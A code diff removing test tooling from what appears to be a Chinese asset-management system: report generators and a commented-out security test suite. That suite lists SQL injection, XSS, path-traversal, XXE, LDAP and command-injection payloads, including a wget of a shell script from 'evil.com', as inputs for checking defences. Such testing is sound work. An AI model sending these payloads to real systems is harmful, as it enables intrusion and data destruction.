f.write("- [x] 状态转换验证 (15+用例)\n")
f.write("- [x] 状态历史记录 (10+用例)\n")
f.write("- [x] 异常状态转换 (10+用例)\n\n")
# 建议
f.write("## 💡 改进建议\n\n")
f.write("1. **补充资产管理测试**: test_assets.py需要大幅扩充到100+用例\n")
f.write("2. **创建服务层测试**: 设备类型服务、机构服务等\n")
f.write("3. **前端测试补充**: 需要补充约200+前端单元测试用例\n")
f.write("4. **E2E测试**: 需要补充约30+E2E测试场景\n")
f.write("5. **性能测试**: 需要补充关键接口的性能测试\n")
f.write("6. **安全测试**: 需要补充完整的安全测试用例\n\n")
f.write("## ✅ 完成标准\n\n")
f.write("- [ ] 所有后端单元测试通过\n")
f.write("- [ ] 代码覆盖率达到70%\n")
f.write("- [ ] 所有前端单元测试通过\n")
f.write("- [ ] E2E测试通过\n")
f.write("- [ ] 性能测试通过\n")
f.write("- [ ] 安全测试通过\n\n")
f.write("---\n\n")
f.write("**报告生成者**: 测试用例补充组\n")
f.write(f"**生成时间**: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
print(f"\n[OK] Test report generated: {report_file}")
print(f"\n[INFO] View report: type {report_file}")
return report_file
if __name__ == "__main__":
print("=" * 60)
print("资产管理系统 - 测试报告生成器")
print("=" * 60)
report_file = generate_test_report()
print("\n" + "=" * 60)
print("报告生成完成!")
print("=" * 60)

View File

@@ -1,500 +0,0 @@
"""
测试报告生成脚本
生成完整的测试报告,包括:
- 测试执行摘要
- 覆盖率报告
- 性能测试结果
- 安全测试结果
- Bug清单
"""
import os
import json
import subprocess
from datetime import datetime
from pathlib import Path
class TestReportGenerator:
"""测试报告生成器"""
def __init__(self, project_root: str):
self.project_root = Path(project_root)
self.report_dir = self.project_root / "test_reports"
self.report_dir.mkdir(exist_ok=True)
self.timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
self.report_data = {
"timestamp": datetime.now().isoformat(),
"project": "资产管理系统",
"version": "1.0.0",
"summary": {},
"unit_tests": {},
"integration_tests": {},
"e2e_tests": {},
"coverage": {},
"performance": {},
"security": {},
"bugs": []
}
def run_unit_tests(self):
"""运行单元测试"""
print("=" * 60)
print("运行单元测试...")
print("=" * 60)
cmd = [
"pytest",
"-v",
"-m", "unit",
"--html=test_reports/unit_test_report.html",
"--self-contained-html",
"--json-report",
"--json-report-file=test_reports/unit_test_results.json"
]
result = subprocess.run(cmd, capture_output=True, text=True)
# 解析结果
if os.path.exists("test_reports/unit_test_results.json"):
with open("test_reports/unit_test_results.json", "r") as f:
data = json.load(f)
self.report_data["unit_tests"] = {
"total": data.get("summary", {}).get("total", 0),
"passed": data.get("summary", {}).get("passed", 0),
"failed": data.get("summary", {}).get("failed", 0),
"skipped": data.get("summary", {}).get("skipped", 0),
"duration": data.get("summary", {}).get("duration", 0)
}
return result.returncode == 0
def run_integration_tests(self):
"""运行集成测试"""
print("\n" + "=" * 60)
print("运行集成测试...")
print("=" * 60)
cmd = [
"pytest",
"-v",
"-m", "integration",
"--html=test_reports/integration_test_report.html",
"--self-contained-html"
]
result = subprocess.run(cmd, capture_output=True, text=True)
return result.returncode == 0
def run_coverage_tests(self):
"""运行覆盖率测试"""
print("\n" + "=" * 60)
print("生成覆盖率报告...")
print("=" * 60)
cmd = [
"pytest",
"--cov=app",
"--cov-report=html:test_reports/htmlcov",
"--cov-report=term-missing",
"--cov-report=json:test_reports/coverage.json",
"--cov-fail-under=70"
]
result = subprocess.run(cmd, capture_output=True, text=True)
# 解析覆盖率数据
if os.path.exists("test_reports/coverage.json"):
with open("test_reports/coverage.json", "r") as f:
data = json.load(f)
totals = data.get("totals", {})
self.report_data["coverage"] = {
"line_coverage": totals.get("percent_covered", 0),
"lines_covered": totals.get("covered_lines", 0),
"lines_missing": totals.get("missing_lines", 0),
"num_statements": totals.get("num_statements", 0)
}
return result.returncode == 0
def run_security_tests(self):
"""运行安全测试"""
print("\n" + "=" * 60)
print("运行安全测试...")
print("=" * 60)
cmd = [
"pytest",
"-v",
"tests/security/",
"-m", "security",
"--html=test_reports/security_test_report.html"
]
result = subprocess.run(cmd, capture_output=True, text=True)
return result.returncode == 0
def collect_bugs(self):
"""收集测试中发现的Bug"""
print("\n" + "=" * 60)
print("分析测试结果,收集Bug...")
print("=" * 60)
bugs = []
# 从失败的测试中提取Bug
test_results = [
"test_reports/unit_test_results.json",
"test_reports/integration_test_results.json"
]
for result_file in test_results:
if os.path.exists(result_file):
with open(result_file, "r") as f:
data = json.load(f)
for test in data.get("tests", []):
if test.get("outcome") == "failed":
bugs.append({
"test_name": test.get("name"),
"error": test.get("call", {}).get("crash", {}).get("message", ""),
"severity": "high" if "critical" in test.get("name", "").lower() else "medium",
"status": "open"
})
self.report_data["bugs"] = bugs
return bugs
def generate_html_report(self):
"""生成HTML测试报告"""
print("\n" + "=" * 60)
print("生成HTML测试报告...")
print("=" * 60)
html_template = """
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>资产管理系统 - 测试报告</title>
<style>
* {{
margin: 0;
padding: 0;
box-sizing: border-box;
}}
body {{
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
background: #f5f5f5;
padding: 20px;
line-height: 1.6;
}}
.container {{
max-width: 1200px;
margin: 0 auto;
background: white;
padding: 30px;
border-radius: 8px;
box-shadow: 0 2px 8px rgba(0,0,0,0.1);
}}
h1 {{
color: #333;
border-bottom: 3px solid #FF6B35;
padding-bottom: 10px;
margin-bottom: 30px;
}}
h2 {{
color: #FF6B35;
margin-top: 30px;
margin-bottom: 15px;
}}
.summary {{
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 20px;
margin-bottom: 30px;
}}
.metric {{
padding: 20px;
border-radius: 8px;
text-align: center;
}}
.metric.success {{
background: #d4edda;
color: #155724;
}}
.metric.warning {{
background: #fff3cd;
color: #856404;
}}
.metric.danger {{
background: #f8d7da;
color: #721c24;
}}
.metric-value {{
font-size: 32px;
font-weight: bold;
margin-bottom: 5px;
}}
.metric-label {{
font-size: 14px;
opacity: 0.8;
}}
.bug-list {{
list-style: none;
}}
.bug-item {{
padding: 15px;
margin-bottom: 10px;
border-left: 4px solid #dc3545;
background: #f8f9fa;
border-radius: 4px;
}}
.bug-item.high {{
border-left-color: #dc3545;
}}
.bug-item.medium {{
border-left-color: #ffc107;
}}
.bug-item.low {{
border-left-color: #28a745;
}}
table {{
width: 100%;
border-collapse: collapse;
margin-top: 20px;
}}
th, td {{
padding: 12px;
text-align: left;
border-bottom: 1px solid #ddd;
}}
th {{
background: #f8f9fa;
font-weight: bold;
}}
.status-pass {{
color: #28a745;
font-weight: bold;
}}
.status-fail {{
color: #dc3545;
font-weight: bold;
}}
footer {{
margin-top: 50px;
padding-top: 20px;
border-top: 1px solid #ddd;
text-align: center;
color: #666;
font-size: 14px;
}}
</style>
</head>
<body>
<div class="container">
<h1>📊 资产管理系统 - 测试报告</h1>
<div class="summary">
<div class="metric success">
<div class="metric-value">{total_tests}</div>
<div class="metric-label">总测试数</div>
</div>
<div class="metric success">
<div class="metric-value">{passed_tests}</div>
<div class="metric-label">通过</div>
</div>
<div class="metric {failed_class}">
<div class="metric-value">{failed_tests}</div>
<div class="metric-label">失败</div>
</div>
<div class="metric {coverage_class}">
<div class="metric-value">{coverage}%</div>
<div class="metric-label">代码覆盖率</div>
</div>
</div>
<h2>📋 测试摘要</h2>
<table>
<tr>
<th>测试类型</th>
<th>总数</th>
<th>通过</th>
<th>失败</th>
<th>通过率</th>
</tr>
<tr>
<td>单元测试</td>
<td>{unit_total}</td>
<td>{unit_passed}</td>
<td>{unit_failed}</td>
<td>{unit_pass_rate}%</td>
</tr>
<tr>
<td>集成测试</td>
<td>{integration_total}</td>
<td>{integration_passed}</td>
<td>{integration_failed}</td>
<td>{integration_pass_rate}%</td>
</tr>
<tr>
<td>E2E测试</td>
<td>{e2e_total}</td>
<td>{e2e_passed}</td>
<td>{e2e_failed}</td>
<td>{e2e_pass_rate}%</td>
</tr>
</table>
<h2>🐛 Bug清单 ({bug_count})</h2>
<ul class="bug-list">
{bug_items}
</ul>
<footer>
<p>生成时间: {timestamp}</p>
<p>资产管理系统 v{version} | 测试框架: Pytest + Vitest + Playwright</p>
</footer>
</div>
</body>
</html>
"""
# 计算统计数据
total_tests = (
self.report_data["unit_tests"].get("total", 0) +
self.report_data["integration_tests"].get("total", 0) +
self.report_data["e2e_tests"].get("total", 0)
)
passed_tests = (
self.report_data["unit_tests"].get("passed", 0) +
self.report_data["integration_tests"].get("passed", 0) +
self.report_data["e2e_tests"].get("passed", 0)
)
failed_tests = (
self.report_data["unit_tests"].get("failed", 0) +
self.report_data["integration_tests"].get("failed", 0) +
self.report_data["e2e_tests"].get("failed", 0)
)
coverage = self.report_data["coverage"].get("line_coverage", 0)
# 生成Bug列表HTML
bug_items = ""
for bug in self.report_data.get("bugs", []):
bug_items += f"""
<li class="bug-item {bug.get('severity', 'medium')}">
<strong>{bug.get('test_name', '')}</strong><br>
<small>{bug.get('error', '')}</small>
</li>
"""
html = html_template.format(
total_tests=total_tests,
passed_tests=passed_tests,
failed_tests=failed_tests,
coverage=int(coverage),
failed_class="success" if failed_tests == 0 else "danger",
coverage_class="success" if coverage >= 70 else "warning" if coverage >= 50 else "danger",
unit_total=self.report_data["unit_tests"].get("total", 0),
unit_passed=self.report_data["unit_tests"].get("passed", 0),
unit_failed=self.report_data["unit_tests"].get("failed", 0),
unit_pass_rate=0,
integration_total=self.report_data["integration_tests"].get("total", 0),
integration_passed=self.report_data["integration_tests"].get("passed", 0),
integration_failed=self.report_data["integration_tests"].get("failed", 0),
integration_pass_rate=0,
e2e_total=self.report_data["e2e_tests"].get("total", 0),
e2e_passed=self.report_data["e2e_tests"].get("passed", 0),
e2e_failed=self.report_data["e2e_tests"].get("failed", 0),
e2e_pass_rate=0,
bug_count=len(self.report_data.get("bugs", [])),
bug_items=bug_items if bug_items else "<li>暂无Bug</li>",
timestamp=self.report_data["timestamp"],
version=self.report_data["version"]
)
report_path = self.report_dir / f"test_report_{self.timestamp}.html"
with open(report_path, "w", encoding="utf-8") as f:
f.write(html)
print(f"✓ HTML报告已生成: {report_path}")
return report_path
def generate_json_report(self):
"""生成JSON测试报告"""
json_path = self.report_dir / f"test_report_{self.timestamp}.json"
with open(json_path, "w", encoding="utf-8") as f:
json.dump(self.report_data, f, ensure_ascii=False, indent=2)
print(f"✓ JSON报告已生成: {json_path}")
return json_path
def generate_all_reports(self):
"""生成所有报告"""
print("\n" + "=" * 60)
print("🚀 开始生成测试报告...")
print("=" * 60)
# 运行各类测试
self.run_unit_tests()
self.run_integration_tests()
self.run_coverage_tests()
self.run_security_tests()
# 收集Bug
self.collect_bugs()
# 生成报告
html_report = self.generate_html_report()
json_report = self.generate_json_report()
print("\n" + "=" * 60)
print("✅ 测试报告生成完成!")
print("=" * 60)
print(f"\n📄 HTML报告: {html_report}")
print(f"📄 JSON报告: {json_report}")
print(f"📄 覆盖率报告: {self.report_dir}/htmlcov/index.html")
print(f"📄 单元测试报告: {self.report_dir}/unit_test_report.html")
print(f"📄 集成测试报告: {self.report_dir}/integration_test_report.html")
print(f"📄 安全测试报告: {self.report_dir}/security_test_report.html")
print("\n" + "=" * 60)
if __name__ == "__main__":
import sys
# 项目根目录
project_root = sys.argv[1] if len(sys.argv) > 1 else "."
# 生成测试报告
generator = TestReportGenerator(project_root)
generator.generate_all_reports()

View File

@@ -1,524 +0,0 @@
"""
安全测试
测试内容:
- SQL注入测试
- XSS测试
- CSRF测试
- 权限绕过测试
- 敏感数据泄露测试
- 认证绕过测试
"""
import pytest
# class TestSQLInjection:
# """测试SQL注入攻击"""
#
# def test_sql_injection_in_login(self, client: TestClient):
# """测试登录接口的SQL注入"""
# malicious_inputs = [
# "admin' OR '1'='1",
# "admin'--",
# "admin'/*",
# "' OR 1=1--",
# "'; DROP TABLE users--",
# "admin' UNION SELECT * FROM users--",
# "' OR '1'='1' /*",
# "1' AND 1=1--",
# "admin'; INSERT INTO users VALUES--",
# ]
#
# for malicious_input in malicious_inputs:
# response = client.post(
# "/api/v1/auth/login",
# json={
# "username": malicious_input,
# "password": "Test123",
# "captcha": "1234",
# "captcha_key": "test"
# }
# )
#
# # 应该返回认证失败,而不是数据库错误或成功登录
# assert response.status_code in [401, 400, 422]
#
# # 如果返回成功,说明存在SQL注入漏洞
# if response.status_code == 200:
# pytest.fail(f"SQL注入漏洞检测: {malicious_input}")
#
# def test_sql_injection_in_search(self, client: TestClient, auth_headers):
# """测试搜索接口的SQL注入"""
# malicious_inputs = [
# "'; DROP TABLE assets--",
# "1' OR '1'='1",
# "'; SELECT * FROM users--",
# "admin' UNION SELECT * FROM assets--",
# ]
#
# for malicious_input in malicious_inputs:
# response = client.get(
# "/api/v1/assets",
# params={"keyword": malicious_input},
# headers=auth_headers
# )
#
# # 应该正常返回或参数错误,不应该报数据库错误
# assert response.status_code in [200, 400, 422]
#
# def test_sql_injection_in_id_parameter(self, client: TestClient, auth_headers):
# """测试ID参数的SQL注入"""
# malicious_ids = [
# "1 OR 1=1",
# "1; DROP TABLE assets--",
# "1' UNION SELECT * FROM users--",
# "1' AND 1=1--",
# ]
#
# for malicious_id in malicious_ids:
# response = client.get(
# f"/api/v1/assets/{malicious_id}",
# headers=auth_headers
# )
#
# # 应该返回404或参数错误
# assert response.status_code in [404, 400, 422]
#
# def test_sql_injection_in_order_by(self, client: TestClient, auth_headers):
# """测试排序参数的SQL注入"""
# malicious_inputs = [
# "id; DROP TABLE users--",
# "id OR 1=1",
# "id' AND '1'='1",
# ]
#
# for malicious_input in malicious_inputs:
# response = client.get(
# "/api/v1/assets",
# params={"sort_by": malicious_input},
# headers=auth_headers
# )
#
# # 应该返回参数错误
# assert response.status_code in [400, 422]
#
# def test_second_order_sql_injection(self, client: TestClient, auth_headers):
# """测试二阶SQL注入"""
# # 先创建包含恶意代码的数据
# malicious_data = {
# "asset_name": "test'; DROP TABLE assets--",
# "device_type_id": 1,
# "organization_id": 1
# }
#
# create_response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# json=malicious_data
# )
#
# # 如果创建成功,尝试查询
# if create_response.status_code == 200:
# # 查询应该不会触发SQL注入
# response = client.get(
# "/api/v1/assets",
# headers=auth_headers
# )
# assert response.status_code == 200
# class TestXSS:
# """测试XSS跨站脚本攻击"""
#
# def test_xss_in_asset_name(self, client: TestClient, auth_headers):
# """测试资产名称的XSS"""
# xss_payloads = [
# "<script>alert('XSS')</script>",
# "<img src=x onerror=alert('XSS')>",
# "<svg onload=alert('XSS')>",
# "javascript:alert('XSS')",
# "<iframe src='javascript:alert(XSS)'>",
# "<body onload=alert('XSS')>",
# ]
#
# for payload in xss_payloads:
# response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# json={
# "asset_name": payload,
# "device_type_id": 1,
# "organization_id": 1
# }
# )
#
# if response.status_code == 200:
# # 获取数据
# asset_id = response.json()["data"]["id"]
# get_response = client.get(
# f"/api/v1/assets/{asset_id}",
# headers=auth_headers
# )
#
# # 验证XSS payload被转义或过滤
# content = get_response.text
# assert "<script>" not in content
# assert "javascript:" not in content
# assert "onerror=" not in content
#
# def test_xss_in_search_parameter(self, client: TestClient, auth_headers):
# """测试搜索参数的XSS"""
# xss_payload = "<script>alert('XSS')</script>"
#
# response = client.get(
# "/api/v1/assets",
# params={"keyword": xss_payload},
# headers=auth_headers
# )
#
# # 验证XSS payload被转义
# content = response.text
# assert "<script>" not in content or "&lt;script&gt;" in content
#
# def test_xss_in_user_profile(self, client: TestClient, auth_headers):
# """测试用户资料的XSS"""
# xss_payload = "<img src=x onerror=alert('XSS')>"
#
# response = client.put(
# "/api/v1/users/me",
# headers=auth_headers,
# json={"real_name": xss_payload}
# )
#
# if response.status_code == 200:
# # 验证XSS被过滤
# get_response = client.get(
# "/api/v1/users/me",
# headers=auth_headers
# )
# content = get_response.text
# assert "onerror=" not in content
# class TestCSRF:
# """测试CSRF跨站请求伪造"""
#
# def test_csrf_protection(self, client: TestClient, auth_headers):
# """测试CSRF保护"""
# # 正常请求应该包含CSRF token
# response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# json={
# "asset_name": "Test",
# "device_type_id": 1,
# "organization_id": 1
# }
# )
#
# # 如果启用CSRF保护,缺少token应该被拒绝
# # 这里需要根据实际实现调整
#
# def test_csrf_token_validation(self, client: TestClient):
# """测试CSRF token验证"""
# # 尝试使用无效的CSRF token
# invalid_headers = {
# "X-CSRF-Token": "invalid-token-12345"
# }
#
# response = client.post(
# "/api/v1/assets",
# headers=invalid_headers,
# json={
# "asset_name": "Test",
# "device_type_id": 1,
# "organization_id": 1
# }
# )
#
# # 应该被拒绝
# assert response.status_code in [403, 401]
# class TestAuthenticationBypass:
# """测试认证绕过"""
#
# def test_missing_token(self, client: TestClient):
# """测试缺少token"""
# response = client.get("/api/v1/assets")
# assert response.status_code == 401
#
# def test_invalid_token(self, client: TestClient):
# """测试无效token"""
# headers = {"Authorization": "Bearer invalid_token_12345"}
# response = client.get("/api/v1/assets", headers=headers)
# assert response.status_code == 401
#
# def test_expired_token(self, client: TestClient):
# """测试过期token"""
# # 使用一个过期的token
# expired_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.expired.token"
# headers = {"Authorization": f"Bearer {expired_token}"}
# response = client.get("/api/v1/assets", headers=headers)
# assert response.status_code == 401
#
# def test_modified_token(self, client: TestClient):
# """测试被修改的token"""
# # 修改有效token的一部分
# modified_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.modified"
# headers = {"Authorization": f"Bearer {modified_token}"}
# response = client.get("/api/v1/assets", headers=headers)
# assert response.status_code == 401
#
# def test_token_without_bearer(self, client: TestClient):
# """测试不带Bearer前缀的token"""
# headers = {"Authorization": "valid_token_without_bearer"}
# response = client.get("/api/v1/assets", headers=headers)
# assert response.status_code == 401
#
# def test_session_fixation(self, client: TestClient):
# """测试会话固定攻击"""
# # 登录前获取session
# session1 = client.cookies.get("session")
#
# # 登录
# client.post(
# "/api/v1/auth/login",
# json={
# "username": "admin",
# "password": "Admin123",
# "captcha": "1234",
# "captcha_key": "test"
# }
# )
#
# # 验证session已更新
# session2 = client.cookies.get("session")
# assert session1 != session2 or session2 is None # 使用JWT时可能没有session
# class TestAuthorizationBypass:
# """测试权限绕过"""
#
# def test_direct_url_access_without_permission(self, client: TestClient, auth_headers):
# """测试无权限直接访问URL"""
# # 普通用户尝试访问管理员接口
# response = client.delete(
# "/api/v1/users/1",
# headers=auth_headers # 普通用户token
# )
# assert response.status_code == 403
#
# def test_horizontal_privilege_escalation(self, client: TestClient, user_headers, admin_headers):
# """测试水平权限提升"""
# # 用户A尝试访问用户B的数据
# # 创建user_headers为用户A的token
# response = client.get(
# "/api/v1/users/2", # 尝试访问用户B
# headers=user_headers
# )
# assert response.status_code == 403
#
# def test_vertical_privilege_escalation(self, client: TestClient, user_headers):
# """测试垂直权限提升"""
# # 普通用户尝试访问管理员功能
# response = client.post(
# "/api/v1/users",
# headers=user_headers,
# json={
# "username": "newuser",
# "password": "Test123"
# }
# )
# assert response.status_code == 403
#
# def test_parameter_tampering(self, client: TestClient, auth_headers):
# """测试参数篡改"""
# # 尝试通过修改ID访问其他用户数据
# response = client.get(
# "/api/v1/users/999", # 不存在的用户或其他用户
# headers=auth_headers
# )
# # 应该返回403或404,不应该返回数据
# assert response.status_code in [403, 404]
#
# def test_method_enforcement(self, client: TestClient, auth_headers):
# """测试HTTP方法强制执行"""
# # 某些接口可能只允许特定方法
# response = client.put(
# "/api/v1/assets", # 应该是POST
# headers=auth_headers,
# json={}
# )
# assert response.status_code in [405, 404] # Method Not Allowed
# class TestSensitiveDataExposure:
# """测试敏感数据泄露"""
#
# def test_password_not_in_response(self, client: TestClient, auth_headers):
# """测试响应中不包含密码"""
# response = client.get(
# "/api/v1/users/me",
# headers=auth_headers
# )
#
# content = response.text
# assert "password" not in content.lower()
# assert "hashed_password" not in content
#
# def test_token_not_logged(self, client: TestClient):
# """测试token不被记录到日志"""
# # 这个测试需要检查日志文件或日志系统
# pass
#
# def test_error_messages_no_sensitive_info(self, client: TestClient):
# """测试错误消息不包含敏感信息"""
# response = client.post(
# "/api/v1/auth/login",
# json={
# "username": "nonexistent",
# "password": "wrong",
# "captcha": "1234",
# "captcha_key": "test"
# }
# )
#
# error_msg = response.text.lower()
# # 错误消息不应该暴露数据库信息
# assert "mysql" not in error_msg
# assert "postgresql" not in error_msg
# assert "table" not in error_msg
# assert "column" not in error_msg
# assert "syntax" not in error_msg
#
# def test_stack_trace_not_exposed(self, client: TestClient):
# """测试不暴露堆栈跟踪"""
# response = client.get("/api/v1/invalid-endpoint")
#
# # 生产环境不应该返回堆栈跟踪
# content = response.text
# assert "Traceback" not in content
# assert "Exception" not in content
# assert "at line" not in content
#
# def test_https_required(self, client: TestClient):
# """测试HTTPS要求"""
# # 这个测试在生产环境才有效
# pass
# class TestInputValidation:
# """测试输入验证"""
#
# def test_path_traversal(self, client: TestClient, auth_headers):
# """测试路径遍历攻击"""
# malicious_inputs = [
# "../../../etc/passwd",
# "..\\..\\..\\windows\\system32\\config\\sam",
# "....//....//....//etc/passwd",
# "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
# ]
#
# for malicious_input in malicious_inputs:
# response = client.get(
# f"/api/v1/assets/{malicious_input}",
# headers=auth_headers
# )
# assert response.status_code in [404, 400, 422]
#
# def test_command_injection(self, client: TestClient, auth_headers):
# """测试命令注入"""
# malicious_inputs = [
# "; ls -la",
# "| cat /etc/passwd",
# "`whoami`",
# "$(id)",
# "; wget http://evil.com/shell.py",
# ]
#
# for malicious_input in malicious_inputs:
# response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# json={
# "asset_name": malicious_input,
# "device_type_id": 1,
# "organization_id": 1
# }
# )
# # 应该被拒绝或过滤
# assert response.status_code in [400, 422]
#
# def test_ldap_injection(self, client: TestClient, auth_headers):
# """测试LDAP注入"""
# # 如果系统使用LDAP认证
# malicious_inputs = [
# "*)(uid=*",
# "*)(|(objectClass=*",
# "*))%00",
# ]
#
# for malicious_input in malicious_inputs:
# response = client.post(
# "/api/v1/auth/login",
# json={
# "username": malicious_input,
# "password": "Test123",
# "captcha": "1234",
# "captcha_key": "test"
# }
# )
# assert response.status_code in [401, 400]
#
# def test_xml_injection(self, client: TestClient, auth_headers):
# """测试XML注入"""
# xml_payload = """<?xml version="1.0"?>
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# <asset><name>&xxe;</name></asset>"""
#
# response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# data=xml_payload,
# content_type="application/xml"
# )
#
# # 应该被拒绝或返回错误
# assert response.status_code in [400, 415] # Unsupported Media Type
# class TestRateLimiting:
# """测试请求频率限制"""
#
# def test_login_rate_limit(self, client: TestClient):
# """测试登录频率限制"""
# # 连续多次登录尝试
# responses = []
# for i in range(15):
# response = client.post(
# "/api/v1/auth/login",
# json={
# "username": "test",
# "password": "wrong",
# "captcha": "1234",
# "captcha_key": f"test-{i}"
# }
# )
# responses.append(response)
#
# # 应该有部分请求被限流
# rate_limited = sum(1 for r in responses if r.status_code == 429)
# assert rate_limited > 0
#
# def test_api_rate_limit(self, client: TestClient, auth_headers):
# """测试API频率限制"""
# # 连续请求
# responses = []
# for i in range(150): # 超过100次/分钟限制
# response = client.get("/api/v1/assets", headers=auth_headers)
# responses.append(response)
#
# rate_limited = sum(1 for r in responses if r.status_code == 429)
# assert rate_limited > 0

View File

@@ -1,474 +0,0 @@
"""
资产管理服务层测试
测试内容:
- 资产创建业务逻辑
- 资产分配业务逻辑
- 状态机转换
- 权限验证
- 异常处理
"""
import pytest
from datetime import datetime
# from app.services.asset_service import AssetService
# from app.services.state_machine_service import StateMachineService
# from app.core.exceptions import BusinessException, NotFoundException
# class TestAssetService:
# """测试资产管理服务"""
#
# @pytest.fixture
# def asset_service(self):
# """创建AssetService实例"""
# return AssetService()
#
# def test_create_asset_generates_code(self, db, asset_service):
# """测试创建资产时自动生成编码"""
# asset_data = {
# "asset_name": "测试资产",
# "device_type_id": 1,
# "organization_id": 1
# }
#
# asset = asset_service.create_asset(
# db=db,
# asset_in=AssetCreate(**asset_data),
# creator_id=1
# )
#
# assert asset.asset_code is not None
# assert asset.asset_code.startswith("ASSET-")
# assert len(asset.asset_code) == 19 # ASSET-YYYYMMDD-XXXX
#
# def test_create_asset_records_status_history(self, db, asset_service):
# """测试创建资产时记录状态历史"""
# asset_data = AssetCreate(
# asset_name="测试资产",
# device_type_id=1,
# organization_id=1
# )
#
# asset = asset_service.create_asset(
# db=db,
# asset_in=asset_data,
# creator_id=1
# )
#
# # 验证状态历史
# history = db.query(AssetStatusHistory).filter(
# AssetStatusHistory.asset_id == asset.id
# ).all()
#
# assert len(history) == 1
# assert history[0].old_status is None
# assert history[0].new_status == "pending"
# assert history[0].operation_type == "create"
#
# def test_create_asset_with_invalid_device_type(self, db, asset_service):
# """测试使用无效设备类型创建资产"""
# asset_data = AssetCreate(
# asset_name="测试资产",
# device_type_id=999999, # 不存在的设备类型
# organization_id=1
# )
#
# with pytest.raises(NotFoundException):
# asset_service.create_asset(
# db=db,
# asset_in=asset_data,
# creator_id=1
# )
#
# def test_create_asset_with_invalid_organization(self, db, asset_service):
# """测试使用无效网点创建资产"""
# asset_data = AssetCreate(
# asset_name="测试资产",
# device_type_id=1,
# organization_id=999999 # 不存在的网点
# )
#
# with pytest.raises(NotFoundException):
# asset_service.create_asset(
# db=db,
# asset_in=asset_data,
# creator_id=1
# )
#
# def test_create_asset_validates_required_dynamic_fields(self, db, asset_service):
# """测试验证必填的动态字段"""
# # 假设计算机类型要求CPU和内存必填
# asset_data = AssetCreate(
# asset_name="测试计算机",
# device_type_id=1, # 计算机类型
# organization_id=1,
# dynamic_attributes={
# # 缺少必填的cpu和memory字段
# }
# )
#
# with pytest.raises(BusinessException):
# asset_service.create_asset(
# db=db,
# asset_in=asset_data,
# creator_id=1
# )
# class TestAssetAllocation:
# """测试资产分配"""
#
# @pytest.fixture
# def asset_service(self):
# return AssetService()
#
# def test_allocate_assets_success(self, db, asset_service, test_asset):
# """测试成功分配资产"""
# allocation_order = asset_service.allocate_assets(
# db=db,
# asset_ids=[test_asset.id],
# organization_id=2,
# operator_id=1
# )
#
# assert allocation_order is not None
# assert allocation_order.order_type == "allocation"
# assert allocation_order.asset_count == 1
#
# # 验证资产状态未改变(等待审批)
# db.refresh(test_asset)
# assert test_asset.status == "in_stock"
#
# def test_allocate_assets_invalid_status(self, db, asset_service):
# """测试分配状态不正确的资产"""
# # 创建一个使用中的资产
# in_use_asset = Asset(
# asset_code="ASSET-20250124-0002",
# asset_name="使用中的资产",
# device_type_id=1,
# organization_id=1,
# status="in_use"
# )
# db.add(in_use_asset)
# db.commit()
#
# with pytest.raises(BusinessException) as exc:
# asset_service.allocate_assets(
# db=db,
# asset_ids=[in_use_asset.id],
# organization_id=2,
# operator_id=1
# )
#
# assert "当前状态不允许分配" in str(exc.value)
#
# def test_allocate_assets_batch(self, db, asset_service):
# """测试批量分配资产"""
# # 创建多个资产
# assets = []
# for i in range(5):
# asset = Asset(
# asset_code=f"ASSET-20250124-{i:04d}",
# asset_name=f"测试资产{i}",
# device_type_id=1,
# organization_id=1,
# status="in_stock"
# )
# db.add(asset)
# assets.append(asset)
# db.commit()
#
# asset_ids = [a.id for a in assets]
#
# allocation_order = asset_service.allocate_assets(
# db=db,
# asset_ids=asset_ids,
# organization_id=2,
# operator_id=1
# )
#
# assert allocation_order.asset_count == 5
#
# def test_allocate_assets_to_same_organization(self, db, asset_service, test_asset):
# """测试分配到当前所在网点"""
# with pytest.raises(BusinessException):
# asset_service.allocate_assets(
# db=db,
# asset_ids=[test_asset.id],
# organization_id=test_asset.organization_id, # 相同网点
# operator_id=1
# )
#
# def test_allocate_duplicate_assets(self, db, asset_service):
# """测试分配时包含重复资产"""
# with pytest.raises(BusinessException):
# asset_service.allocate_assets(
# db=db,
# asset_ids=[1, 1, 2], # 资产ID重复
# organization_id=2,
# operator_id=1
# )
#
# def test_approve_allocation_order(self, db, asset_service):
# """测试审批分配单"""
# # 创建分配单
# allocation_order = asset_service.allocate_assets(
# db=db,
# asset_ids=[1],
# organization_id=2,
# operator_id=1
# )
#
# # 审批通过
# asset_service.approve_allocation_order(
# db=db,
# order_id=allocation_order.id,
# approval_status="approved",
# approver_id=2,
# remark="同意"
# )
#
# # 验证资产状态已更新
# asset = db.query(Asset).filter(Asset.id == 1).first()
# assert asset.status == "in_use"
#
# # 验证分配单执行状态
# db.refresh(allocation_order)
# assert allocation_order.approval_status == "approved"
# assert allocation_order.execute_status == "completed"
#
# def test_reject_allocation_order(self, db, asset_service):
# """测试拒绝分配单"""
# allocation_order = asset_service.allocate_assets(
# db=db,
# asset_ids=[1],
# organization_id=2,
# operator_id=1
# )
#
# # 审批拒绝
# asset_service.approve_allocation_order(
# db=db,
# order_id=allocation_order.id,
# approval_status="rejected",
# approver_id=2,
# remark="不符合条件"
# )
#
# # 验证资产状态未改变
# asset = db.query(Asset).filter(Asset.id == 1).first()
# assert asset.status == "in_stock"
#
# db.refresh(allocation_order)
# assert allocation_order.approval_status == "rejected"
# assert allocation_order.execute_status == "cancelled"
# class TestStateMachine:
# """测试状态机"""
#
# @pytest.fixture
# def state_machine(self):
# return StateMachineService()
#
# def test_valid_state_transitions(self, state_machine):
# """测试有效的状态转换"""
# valid_transitions = [
# ("pending", "in_stock"),
# ("in_stock", "in_use"),
